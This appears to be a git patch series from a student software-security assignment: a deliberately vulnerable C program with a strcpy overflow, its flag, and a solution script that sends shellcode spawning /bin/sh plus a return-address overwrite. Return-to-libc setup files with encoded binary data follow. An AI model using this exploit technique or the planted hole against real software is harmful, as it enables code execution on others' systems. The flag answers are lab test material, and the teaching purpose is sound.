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 +#include +#include + +// vulnerable function +int overflow_me(char* input) +{ + char buff[100]; + printf("Buffer is at %p\n", &buff); // buff's address is leaked :O + strcpy(buff, input); + + return 1; +} + +int main(int argc, char *argv[]) +{ + if(argc < 2) + { + printf("Syntax: %s \n", argv[0]); + exit (0); + } + overflow_me(argv[1]); + return 0; +} diff --git a/Assignment 6 - Software Security - Teil 2/basic_overflow/flag b/Assignment 6 - Software Security - Teil 2/basic_overflow/flag new file mode 100644 index 0000000..9007b49 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/basic_overflow/flag @@ -0,0 +1 @@ +flag{THAT_WAS_EASY_HUH} \ No newline at end of file -- 2.46.0 From 185ca930bc1c2a4ecf79d507cb846bb6904f9370 Mon Sep 17 00:00:00 2001 From: Sascha Tommasone Date: Fri, 14 Jun 2024 15:52:09 +0200 Subject: [PATCH 02/16] [Assignment-6] solution task 6 (basic buffer overflow attack) --- .../basic_overflow/solution.sh | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100755 Assignment 6 - Software Security - Teil 2/basic_overflow/solution.sh diff --git a/Assignment 6 - Software Security - Teil 2/basic_overflow/solution.sh b/Assignment 6 - Software Security - Teil 2/basic_overflow/solution.sh new file mode 100755 index 0000000..6c47ae7 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/basic_overflow/solution.sh @@ -0,0 +1,14 @@ +#!/bin/bash + +# flag{THAT_WAS_EASY_HUH} + +######### Exploit ######### +# Step 1: Write the provided shellcode to stdout +printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + +# Step 2: Fill the buffer with 'A's until the stored EIP is reached +printf "A%.0s" {1..91} + +# Step 3: Overwrite the stored EIP with the address of the shellcode +printf "\x2c\xd5\xff\xff" +########################### -- 2.46.0 From d3b2ded31aeebab9e9616e970b105a4882a4623f Mon Sep 17 00:00:00 2001 From: Sascha Tommasone Date: Fri, 14 Jun 2024 15:57:52 +0200 Subject: [PATCH 03/16] [Assignment-6] setup task 8 (return-to-libc) --- ...Bildschirmfoto vom 2024-06-14 15-54-57.png | Bin 0 -> 75124 bytes .../ret2libc/ret2libc | Bin 0 -> 15640 bytes .../ret2libc/ret2libc.c | 23 ++++++++++++++++++ 3 files changed, 23 insertions(+) create mode 100644 Assignment 6 - Software Security - Teil 2/ret2libc/Bildschirmfoto vom 2024-06-14 15-54-57.png create mode 100755 Assignment 6 - Software Security - Teil 2/ret2libc/ret2libc create mode 100644 Assignment 6 - Software Security - Teil 2/ret2libc/ret2libc.c diff --git a/Assignment 6 - Software Security - Teil 2/ret2libc/Bildschirmfoto vom 2024-06-14 15-54-57.png b/Assignment 6 - Software Security - Teil 2/ret2libc/Bildschirmfoto vom 2024-06-14 15-54-57.png new file mode 100644 index 0000000000000000000000000000000000000000..3f85c58be9b65219bf7fc5cb3302726c8c54f06c GIT binary patch literal 75124 zcmb4pbyQs4vn2#~2<{ewyL<2e!L4z(;O_1o+&u($cc%l5ySux4!{q%wd2iONnYE_> z=w5x-z2}@;wNKTly(>adUJ3<~01*NL0!8|(xH1F;vI$78`UqE#W{ke(mzitw9 zG&OX#w6i5swX`vXkaQ$tce!;N#>b6O&L;eR2HyXANW!(&8ej z?pdd6Zr)g?Z#`EN?DbT`zrr|V;C}?Ki+mA>Q9Xre2aKQ7x_f#agHI2Z&gB{0iu;!0 z`D?hX4PbsgtXt8Mhup4Zr*DvE{*YS?hRFP~`QqE@T{?VzT0b#rvi~&x@FYanDHjRj z|3M=iiaZ!y6#hS74kp$H0m@SC#G(y!>fulceXPr&V(K_eXX}M)pZ>WGh@J_pJ-{l< zd$rE~!EHe@R!M;*_C>>>oGXF83t|PNB$;cbu2dz|Xck|((+a|bY8*JeXj$p6i)W&bd zu_DvLf31&$ln{rEHFdLwmu1F?1yig>6e~%sz=l~IR3WM<)$Smbiv2M#87Bt&U;sJ4 z%`P%lW&@x*Q_@z(m;!46vka>64uY_g#jc1kn_ptO7}1{5PD(MWhYv%i_+Q~sHIN$Jshi@J+;_^ulFl8i>m8{!KdQ(4s^P*<0wO*zJThSqq+|C`>J3NUJaouC}R6_m&bpihDynQ?{J?yJt_B@K4 zr%R(WDCX^q;FSG(s>8SXXf38}WyN?ILW8iQSi0`};u<8`c zxeWCazRaP+<*~d_8~AEQyLQA~#5h`C*!8%V5YCs~@d*DGeM+{RN<9?;`_h~Xae@kI zDxv}31aUj5a9&GkMBW>NL(TXj`io6Ml5HZrpbq-WRNLaSmq`@bgsT$|{U>FY$n5FR)ML*#n4_IT~l@~ zssy9uO8eah=UyM_!CW8Exx5uqb)Fe1$YVB()-=m9>6+62<9M6eAwG?1@*bvHP~<2# zh_SySWE(t#4;>xme&ZlegRI@UF>!CU^C-o-n@qeYU;c5WKyC{AW3VhQLuzn{471mx%Mg)uhB>SF6P6Kp!}2xANxQ?i6h;*KBB zt=hKboSzg^gR@4ZHmii(s1g2lEdakXSjV$pVDil zp{KnrsOBP~w9+ccKtebUM8^7`u0P7944lhQi8NuCmnk;PY2b$Dg6!k$pJ4c{0dMp# zG{nc%w@yFLN--+lED=UxrIELyDWHIKB1k2^6wQDfVvD>2}Q?G^!eXb$d3$;k_ zi~V!)I@@TI;wX7-8mEgd1M_kuQ9}ZRevfwG_iJ}O!@G-6^F00C;p>8lF%hejVE=th zy|&m9x`qzKNl})S&`0ci^~p}89HCa8)P<R}&W$}!K3 zOfG0l)0BtzeSkt*d8;-{55Z~z{E~p-=QcCUT0kHs1fTo*z zy}gFf9`W^x&}R0CaVdg)Rzsqq?PEdsmsfNSTgt6V0&jKcQJO&PFx{e;XH_ zizui08r^$nDg{ED%xE#`D1Nd5vMF{~^gT`GEUN`@ zmPBfF-|G> zUH2+;J5bbSDRQUSoo*tg#79Ys=ockY=jUHo%di(c=-od;U{1I-wrtcs#{(tM8i6JR-#`@LLDV6!^O&m8#xMVH5IsUX-JdQBsbER)}au{_G1k zJVP-`QCaSVhDYxQ`sI*T;fO&|?KVQ~T8SGRV5w{LokGxuIeJ#QsrPoo7l%fUnvkY8 z2p3mz8-ww!KI_6s_HwvGVq;b@@VZfw@w=njrU8hYokmYEF;1PdPg@n*6dzal$7bqX zVU~Mgy9(A?vdGIr@ z`y~gChWxUGpu`*xlHSY;a#s+quw(uLnW=4$Zb*+S*cF3M=1BZbD2~54cU)72WH0W)d$?*|al6PFl3D+W z$AMI6C_OuSF%i~rm>sJ1@k+4b{hYqb^WE6YyE$MxCAO1iNBV3b>KxLX(UW`_{}A`D zIw;)ims+*;Y8D1A%}Ufx(cU7rI`JcK1`2y2W6lYz^3|-tYLG5uMu9Q$eVPby-?6aV zsu6fEI^P!k*C4Sr*vWqvYqh(Y)Vfsk-JUi!mjLkA-gq-BEcyDPX~=ux+D3Q7alyNY zhb^bs9*Y;&LCK&x$VYKQ7?t8q19(HRi|Y=EnjW%0=u`o;l#e{9B}X-!Z`9THM8VLQ3#>7B#0&deQf)B#WeV%fWQVI?`}|$Xjsex#hxqN2 zDWaZv4^z(IB{4#t7WK2D);k%8YQ#G_3u{G>ZJ5~zF64r0L~*vV&T`3(@=;$(YaQ;8YxL4VsKYyft4 zp7P2(o#ve&TP6se-yS-M0`x_@9m(d5>C_d@EDkz4;Or7Lyu#B&x!F)>7D^#-Ba;E`85d;#rsL=?S28@rH@z9WAYhQ4ZNL;`OBHJT45X=`Q@wh7 z7unM|7Y>DhkLmlSbf_ICni1v2KShW_N10fH_^`R$29s$R5HGb@CD2!gqlCYaIQ>&z zwUvUUbU?i${dZ-QLo%u7&j~tBpj0zBVm3zwFSV+WND!ZkB84{dzTs;^oavlzq;iSjj}bje7DbsoeSQ?S$pa;W}ir0SDU>Isgy>*A}1hl{%^)1Ym;LX zcBndqP|fa}^)E@-i$p=&2JH6Q?neI~e%2Bf$sh#5ByJpnGkn&z0=wN=g7!6wvx;P|E%>X|)nJNP4NZ;DZSt$85#V zdv|%%O6^g%DJ`N6Vnu|XM|7Pog`YAo>7OSlsnjLFXTb(T(6rkH)@fqfCrlV!cBIdG z-Ds;yfQPh&{!5)np|3OT929NY{UKRP@~s;()&#?WbxzdliQ^~+j{4@xyF2F8W7*LlidMowN%=6P2s z)#Q-o5KlDX${YD4!;Huux76OcK^yKcmU%o&{f7bw$BYl1|5E3#88LF>=UG|v>@qOJ zYhXGgNi*v7qT(V)-GOfi4Vb}eEXLZaVtSvp@SY_99y8XvE4rtZkeOKhv;)YRBj+hzG1tqd^J<+sR6*dIW38m6r?Oz{V|8 zGGM)Y=TVgvT#nyNW~rmmz837Zd61xO{O!Ii8rXD&Go1yd z{LjW6h!})LnLFl~RLAYx3|O>hTwRB%q zD;ag9xywTi*>f~%jO)2(F8Q96?|9t!{XqUyc3F8(_=inqu$SmZRki%_75r674ZC`h;xs2$zZAAC+=VTgxMzUZc&w{P7i89J)>qRcNMI zg{A%=-_q_9I6|i?f<015HXDm=7^X;U^+YF1y~mN|l1F7f@1yZUONCT=$x`^-b=+$U zcYS02BNCL=CtY`b+%}x6!2{Xfv}n%uM*}fL6L*DT-ZO2hCz?E7c2RT4Rf`?T)=xF4W5LyABXEBRe^1c(_Xs0Yq%cif;OLJo0Fh5|xc{%vkEBBHlkrEx^WAXnowJ_!Lm3s9$6H?&kE=r7gw^TmHev zRfvu;-<4lRBngRqgfG6)ao5v13!hrDR=k&5#H|x&Txk zSauT&#I3dups|#9-=UFxhOcYiP^2XV4g96y-rCY=omIj|m=k+{Q384y=USFu#U!-VwuezeL@G0E3O55hof zkn3e1NNDfuwncJ`$Pxmy z<5xnwMl;S;OESo8LVO7fh5d!|{mE1GbINAdXB4}z&lRdzgt14^mHBc6`~W^`xO%r2 z@LkMU#~_2=f+%E6jo$5HqO12U$HT@u`ygXF!Gw|e9CV1s&x>(jl&Ki#O2nsJ=i0tzI&j7x+xFp`b zMelv8l|aM0xWCTj1ww-3*mvS%coSO)EW#xf&?~Qk7T5$lHs}QbRo>+tsx4EFGLu~U z#+l88FVQxK?Sd{rRO^m^3Lc{sKxkP*&#wTn8}JHSeqYSUdRP|&CQ$06W@2^4-WAHf z8PUe$^L^1^2_g~)j4O(%O4nI(`xIN$RH~`riy5w`da~UenV%NTP>IPX7^JLiLGNa? z;sW0vR_54n3Eh!RoX1g7Wy3-rIq9aF522x-eRXO3a>?Wfo9xa`>qQrM@1&;y+LeY$9eRsMR3V# z!Ce;Iv1nYzAlBn9^A(|nR~glGTs6}?ffQ!`U;CZyh&5yDkvnTBi%o54dd>|Nq|aHp zhnXNHwbKpr!!EZnI<(~+<%T=28gNF4jfO-&K9l>fUQJ|VgYWIvn4ZovjrF!2X`u}r zj~aF8FfaP<4(=$IbW^;MSjvHjeoLtZ&J8+6br>)1Dx)b4(wlR!cOZN9sQHA_?+>M` zuk;)531N&}v1yB6b;uDPy1ZShwFV|Gx(B^3m<`PJWiP}u`a&g1is32(NuizR?xiF+c(X(PD>-y8#c-M;(>02XvZb^M!i;t!Q zN4}_>?*ZqV)a(APsEH^t%c{00_R!G8Bp_oK=6lx!FNbLLr)K1b-TA2Cd^`7g?~ki_ z)EmXGl>Z_%{=@|$MgkgyCZdQ{1|mQ0NFR@--a_?}P<(1l@qe_Xfva&dHC!EDi)@6c zn(Ys#)f4^mLL|mt2%{UmR=66b8Ty6 ze-^qOZpqn;^Y4n`F^DouAyX0vnEqK|FuI7*jf57%up`F5m*78Unl$}8geY{Xdg2lV z{{MKSH{Vbu_HUl`&r{+oOG%$w8N*1OQ z7XPtJxS45vPqU&@A$t^-lJVQXMvg#g75y5>ETGGrep4=rd_#OZw`?TBYcb%!X z@+)mi!*R*-%7Sq*me1PZw(S_l_O0JEYg+KRC-Qen>bBa(<-U)f>9HM5*t&i!51VB6 z@bCK2NjC#-W&Y0?m`ynvVKK%dDTQtv|5^i>vCR4;@_~uGwDV}Ao!C`iY@;lQ@A<42 zG4*=MNfzu|F!K};A1(MD5?5kYBJQesVVtTgAC`tt$%kokeS$r_`<6iO)kS|Ml4@n= z$ZuvXy8FWDxf!X{s{{{W0BA)9iTjVYjJm=2Ov-%CjrBA+S2(%W0*Um*NKen%6Hk`+ z1g?82h9QG9rjNWj4i`M3MSMzz_&S1DI9J`Q(zjSwT_v$J1_h}IRndS{O&4og%b|ksO=ZN>)@T!Pm_7|DY?F)?N_ZsvbX6NEV zpDY)rC-z5und@DZ`Wx*UcI(}5GjUsK)&lB~W#)Y+UM9MG&DquCHONK&g<1i5o#d3m zV1bDj*g%$%-5f{XSO2hlt)Q8zQP!eAv#yx+{OsV53R_g+b;eYM=gXZatVR3ZNZls8 zH*Xn)$sVkb>=mc#}~&IDel_EoYB%?l7AvzB?=Pea0lk75N$-t63ZOdPWGi z>v!|M&y7p(t}FMO%D!uC7k83L2!HK0@Zm&89< zut)$;A4?s>TqbL{Zyr1Aypdv0$41Ae{$RZ}sv>#E_al7Z$*s0~BMX~|(_ z`N(&8=ZiriwxTCyxnf0QzUE2HKD05U|LcP1vkVL=D`R>N6z11?2f#nQ0N!59?a6oL zWgohkOvo12*|AbTu)D!xz6;0({;OaQkk>#0KGUc%0|!?@1q*tc$)AW7#j~7Y7IHTr ziG$YkJ9~?fWKl;WS)(-T*?WHL*a1D>J;H!Y^5Pl>>DarB`oAM%1}&~EZwc44xyU1H zY;kWEHJC=(&-X!Rci*F+>jnL5efas2*lG2fV;M8+7F85QlMN|5Y+!@N@kKld3F#`> z4?3UO+UNDhcd;u4b_;-PoB0Q=Hffk4(p$}TH-n))ciN&-dP8ZkdM#cBJEt2X0@0pI(3u9_GrZaw?EG8+h5gH@ zh{WAiXz9CQ-)}&}k8>U06ZCa_VYml!>vs#4t)pl>e*d2(7Te1%`4>xt_*pm+q0(2c z3m%u_6T>KrhN#b3K8RBU2D|k|4b067&rtoL_j$(cc%m-cFKo@VzUK;~X&fPTsW_AN zOS=E;tnGo>*K#agPp3UnDfA*pNv4fe58P_74uG0)u>J*Cul1QV;XuyhTY=hM$xy=8|Fi}|o7vcU5Ca)p z#Q7QbaoW{ZH3V=U)7}!`MZxA#I}TySEqDdQq{$27&zDk*Rkvl-zPE(Eyz%8yNC*BK z=kISoHkLV)QI+q!SyM|IG=uHO-5r93mp!Gz{>d+lc3rhosf>oQhPPCmrTQezRO$RF zbwZNZ03V1=^xiD4NLTs~jvdTdAFy?mXnO+_mDSJ#Mmh z+}>)Brgdh@ASE%zLZZD!726$u$@@h6uaU&}GL@mB0mU@%93NrtsFdJX7Qs72$Ejwe zrZqP6L~NwTl95%3JT1)9%gV0YUbX6f&XQ}t4>LqF7Zt6~5oM5W7CR-jXdgO7LxM4; zPfNe_n%eq>Wf~Q4+Dm*~V2vT6lyrEr(Qx=K$%E0!yc1EqGdaGCXABC5>d* zy1WsBM&;TGD(j7`*M@AFe;(#F+bIOf-@xdcA|SVTeCW=#hlJv5o7B?$QY6g)owsg<^w+p@yd=*oSnUs`i$l1WIom5bn2N!1ZE5ktD5M`owk&uk%+1*C%V9I3en&mZ(h)jI^VaGD9L+5L|TzD5etM?F1$m4BgsdmfJwTTMV?V-iy zI19rar8K|IP6AD>8SBW3jxw7nmMcsAt!zk%Lt(}jT2AdO-_Q;)N z%?j^4{sjZ3bm9yPozpc9E2Q)C!#G(-#1!}nN9 zbot?pY&`S1$;&(HYgkNc2w|AiT-3ZpaPb`#W0xK>us*|*`Bl6Y!Qv|GsoKx!LDRCqo?Ni}4XV1^a7wK=>+m^rXt&RE#++1LR_EkOxcn)DKl%=fLnav5h*<*?B z!;R73wIAw39ig_`u7f;sfI8PAGo$d^(JO6HY7vEAYr|Pz~Q_Scm1C} zr_a0tvqUi`!@D*o1U#MiT&{J9&hT%h^;=qkP}7n|v&OksK6U?__)GHHwpAD)knEFT zh)Q29&RR~Rs-L>!4QYC=aq69V*|y};c*(fqV zlHLD5c@Pj0N)M$h7+0-O5spcmjJl zt01`v-M+bi=Yy|Ho{kHzajiu!BGWDmL46V`9{2kP>8*2XmnW(WL8M^ri4EZ&c!HB| zwJg^-EJw>%9pp0+|85(;TON&DOio#>CBYc9`Iy(_(N_yrn2`{AHX;oGylZAiu`_cz zJub`5m~;pD&8RLCN>%>~r|t?A_he?vWh)pRPJ>HM&UaowiGcNC>3agmoP zwmxZey;GrSTNAO?#NSSvZumt#tn2rj7yR-AerA8Dx$U_sXV&WoUX|xI*wxo)!(?@z+<=NXMf1$7=8x$S+V# zA8r3VPz1xrf+16b7?J)hW#P#)ByUWczSjIZG&%)KkjXed}E@)PiXjKI?n)GhvReh?)>tZed)+Wntn1da8HO8=R33QLOuTrCuq=xIL5 z>qwPI{mnSap@EQ!;M0rje+CFI9Qq6rMIz4_UC%Ao_ef(G>si$qeIc0q0QFeYwQzZ9 zg~?NCOl7t16$vDLiYG!KBFZ{t{$rEM020{=5YS<1uXw83jxNGsYf+#G%k<3P<{FzJ zS1^@Vf5KGPl?o@%r8UGYMc}KQS6+}eFCr|xfYvWadaLg1*0I&<0x00I}Q@7;W+m#_3 z7zoo&%dXwV_~+xr#|z4^`5RBF{=q@s|SDkla4(}qXE zY95{?{mLN5SUrukzA?X+Xq7gpg`e&7bsbpM&!OBGFZ3#Y^gOpd2jP^)v+2 zu9S_&A6X4gJX{ueepy?dQ}&MkNcG#A)80m_WAhi8@2=V_fWzIf*~cN)xMf;>1!+WI z*zx~t_ShE$E!M9axkZ7=d0tQIB2Nd4m<2$=^z9#yNFi(fs|+10cM}@E9UL5cFR9a< zm@(e%l8|6KO;1f{sY4+!@Q7MsHRqC@-&HyaFOYNmfKYm5;v8i(_R8sAwqb_Nu$Or7 zHf;C&hJwNVD#OHoW^mAnF51A5`HlMH_ScZ_PFBmR=BGyTxQ^a=*lLBk;yH%FO_cL0FW`Tgbv6EO z*4?BC<{45oZ}~bY5#GOjJi4Tyu)CG%^^r;Aao^DFX6eig{cUk9Yq~b_?xMTz#EB~Z zF^%e_9J}WKn|Q!a`hOD--Bjn?-`Ki+5{Esi{9D_#Qm1s>B+x`Z)jnJT1}ngi-QV=x zYoc-_UoWHZmOvqWKLx1c>QWZLQqH=rtd9}hPM}SA4hDgC-@R<0-a)%W>tqwN@!Kr~ zcTRjXV+U?`rnhiZm|*W~!v3@Jm{Sgk)dSvzM?;BBdWV|od5BOv(sLK|z#fpyX6=*Ou}YkcH?y7=MQ#&9iox!z9y6tjz-x}X6n zVfM4L6`odO_z}m%ySo$bjxYNk5y-WWq7u&T;2au9voyV*eDdwcO8;NXjR#gB<91q} z+wQf-xw%C&>^_N^&?9aa$hxc4q_>sn#JO{y%`=3iro-Cf%tHvE&&*%#h&l6q;nU;} zx%cznE_L#5Qf7&$U^A;2cI}bW-oev)Ddk6Zf>I*!{AD2P_ZNA3JsF zdJrB#Ss!LA>?GZ$YBpD08P(I(G4H&AIk>YEBb%&HFJk`dAm) zl-ko&UIwjNDRteC+dR#FnuliZd0S|gz0}qvgzd7KgO*XTY(=9*?oRd@v_O*)MF*=R(nV z57YvztS$F;El@tyU2z)nGFxv-ahF#0&;XaV)n_-omTJtqcGxd*GGs2lEtJEew+poW zc0)iHrq5;j3Kl8gIs44mL9mPHbixrYORrn!y{##@tgNRR3IBKF1M*-|&uDhphL(PHj25Ob2$2+<4GowIpmMRck8FweUx7WyOV>s0cA$$QIzvds^ z!|96`hqk#V3cOUM6@&Zs&-Z@J)`JABjRYWmVe3idizfG_(ta|DGA7#Wz|Ae7!;W_z z`lRifJ2w;f0JQ4nVJ>=t?EW3dYt#O)vkR)SWl^LL=IJ`s$65Zq-`A>TLb$E-{HDN8 zkGRO#EQP*D0ii-A_Rh!^0l_h3}79c{t?ruDP{S;wK4haqU&bmQ`gyFHx5 z2j(CbE36Y#^m^45m;QcG^pblG@WN#SNBCVPZaBu(7VCmI3o+vi?jVuedYPIkSLD^@ zF^bd(Fo->;{VeE|TthnhY0mxLeVb7HB15D+F}>02x-+&Hm-MNL{&XFn2~ODbXVH8^ z?DolI=7J{i4vp=IW+is%F#smHJr;c-Nr84PAetbM)_Bi};(LjW=s?pmT+T=VIKTX^ 